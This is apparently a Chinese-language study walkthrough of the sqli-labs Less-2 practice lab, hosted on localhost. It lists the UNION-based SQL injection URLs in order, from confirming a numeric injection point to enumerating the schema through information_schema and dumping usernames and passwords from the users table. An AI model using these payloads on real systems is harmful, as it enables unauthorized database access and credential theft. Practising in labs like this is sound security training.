Less-2
开始判断是否存在漏洞:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 显示成功
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’ 显示失败,错误:’’ LIMIT 0,1’,表示在左边多了一个单引号,
http://127.0.0.1/sqli-labs-master/Less-2/?id=1’ --+ 进行注释后还是错误
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1 显示正常
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=2 不显示,判断为数字型注入
判断该表存在多少列:
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 10 显示找不到第10列,依次缩小数值进行判断
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 显示正常,说明有3列
查看哪些列可以回显:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,3
查看当前数据库:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()
查看当前数据库用户:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,user()
查看所有数据库:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
查看当前数据库中的所有表:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479
查看users表中的字段:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
查看username列的信息:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(username) from security.users
查看password列的信息:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(password) from security.users
将username和password用-连接并联合输出:
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(’-’,username,password)) from security.users